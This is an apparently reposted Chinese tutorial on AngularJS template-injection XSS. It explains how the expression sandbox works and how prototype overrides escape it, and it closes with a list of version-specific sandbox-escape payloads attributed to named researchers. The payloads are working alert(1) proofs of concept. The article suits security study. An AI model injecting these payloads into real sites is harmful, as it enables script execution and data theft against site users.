這篇文章主要介紹了AngularJs中用戶輸入動(dòng)態(tài)模板XSS攻擊的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

創(chuàng)新互聯(lián)公司公司2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢(mèng)想脫穎而出為使命,1280元常德做網(wǎng)站,已為上家服務(wù),為常德各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:18982081108
概述
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對(duì)網(wǎng)頁(yè)注入可執(zhí)行代碼且成功地被瀏覽器執(zhí)行,達(dá)到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯(lián)系人列表,然后向聯(lián)系人發(fā)送虛假詐騙信息,可以刪除用戶的日志等等,有時(shí)候還和其他攻擊方式同時(shí)實(shí)施比如SQL注入攻擊服務(wù)器和數(shù)據(jù)庫(kù)、Click劫持、相對(duì)鏈接劫持等實(shí)施釣魚,它帶來的危害是巨大的,是web安全的頭號(hào)大敵。
前情提要
angularJs通過“{{}}”來作為輸出的標(biāo)志,而對(duì)于雙括號(hào)里面的內(nèi)容angularJs會(huì)計(jì)計(jì)算并輸出結(jié)果,我們可以在里面輸入JS代碼,并且一些語句還能得到執(zhí)行,這使得我們的XSS有了可能,雖然不能直接寫函數(shù)表達(dá)式,但這并難不住我們的白帽。
沙箱檢驗(yàn)
angularJs會(huì)對(duì)表達(dá)式進(jìn)行重寫,并過濾計(jì)算輸出,比如我們輸入
{{1 + 1}}在JS中會(huì)被轉(zhuǎn)換成
"use strict";
var fn = function(s, l, a, i) {
return plus(1, 1);
};
return fn;return fn;這里的返回會(huì)被angualrJs執(zhí)行,angularJs改寫這個(gè)方法后轉(zhuǎn)換是這樣的
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ('constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'alert\u00281\u0029';
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;angularJs會(huì)檢查每一個(gè)輸入的參數(shù),ensureSafeObject方法會(huì)檢驗(yàn)出函數(shù)的構(gòu)造方法,窗口對(duì)象,對(duì)象,或者對(duì)象的構(gòu)造方法,任意的其中一項(xiàng)被檢查出來,表達(dá)式都不會(huì)執(zhí)行.angularJs還有ensureSafeMemeberName和ensureSafeFunction來過濾掉方法原型鏈方法和檢查這個(gè)指向。
如何逃逸
怎么樣能逃過模板的過濾呢,可以讓我們輸入的模板被角執(zhí)行,因?yàn)閍ngularJs不支持函數(shù)輸入,我們不可以直接覆蓋本地的JS函數(shù)。但在字符串對(duì)象中找到了漏洞,fromCharCode,則charCode, charAt,由于沒有重寫這些方法,通過改變本地的js函數(shù),我可以在angularJs調(diào)用這些方法的時(shí)候?yàn)樽约洪_一個(gè)后門,將我改寫的來覆蓋原來的函數(shù)。
'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
formCharCode方法執(zhí)行的時(shí)候內(nèi)部的this指向的是String對(duì)象,通過上面的可指執(zhí)行語句,我們可以對(duì)fromCharCode 函數(shù)進(jìn)行覆蓋,當(dāng)在本頁(yè)面內(nèi)執(zhí)行時(shí),比如:
onload=function(){
document.write(String.fromCharCode(97));//會(huì)彈出 /Backdoored/
}還可以這樣
'a'.constructor.prototype.charCodeAt=[].concat
當(dāng)angularJs調(diào)用charCodeAt函數(shù)時(shí),我的代碼就被執(zhí)行到angular源碼去了,比如說在這段里面有encodeEntities 方法用來對(duì)屬性和名稱做一個(gè)過濾然后輸出,
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities
out('"');
}具體的encodeEntities代碼如下:
function encodeEntities(value) {
return value.
replace(/&/g, '&').
replace(SURROGATE_PAIR_REGEXP, function(value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
}).
replace(NON_ALPHANUMERIC_REGEXP, function(value) {
return '&#' + value.charCodeAt(0) + ';';//這里發(fā)生了不好事情,我改寫了這個(gè)方法,可以植入一些惡意代碼,并且得到返回輸出 }).
replace(/</g, '<').
replace(/>/g, '>');
}具體執(zhí)行
//這是輸入代碼
{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=""')+''
}}
//這是被覆蓋影響的代碼
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影響的
if (!(v6)) {
if (s) {
v5 = s.x = "";//被影響的
}
} else {
v5 = l.x = "";//被影響的
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影響的
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "";//被影響的
}
} else {
v2 = l.x = "";//被影響的
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "", text);//被影響的
v0 = v3.x = "" = v1;//被影響的
}
return v0;
};
return fn;{{
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)')+'' //注入了alert(1)
}}
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function(s, v, l) {
var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;下面附上一些代碼,可以直接結(jié)合angularJs驗(yàn)證
不同版本的實(shí)現(xiàn)代碼以及發(fā)現(xiàn)者:
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}1.2.0 - 1.2.1 Jan Horn (Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}1.2.6 - 1.2.18 Jan Horn (Google)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}1.2.19 - 1.2.23 Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}1.3.0 Gábor Molnár (Google)
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}1.3.19 Gareth Heyes (PortSwigger)
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}1.3.20 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}1.5.0 - 1.5.8 Ian Hickey
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}1.5.9 - 1.5.11 Jan Horn (Google)
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}= 1.6.0 Mario Heiderich(Cure53)
{{constructor.constructor('alert(1)')()}}感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“AngularJs中用戶輸入動(dòng)態(tài)模板XSS攻擊的示例分析”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持創(chuàng)新互聯(lián),關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來學(xué)習(xí)!
新聞名稱:AngularJs中用戶輸入動(dòng)態(tài)模板XSS攻擊的示例分析
分享URL:http://www.chinadenli.net/article42/geidec.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站建設(shè)、品牌網(wǎng)站制作、關(guān)鍵詞優(yōu)化、手機(jī)網(wǎng)站建設(shè)、網(wǎng)站導(dǎo)航、搜索引擎優(yōu)化
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)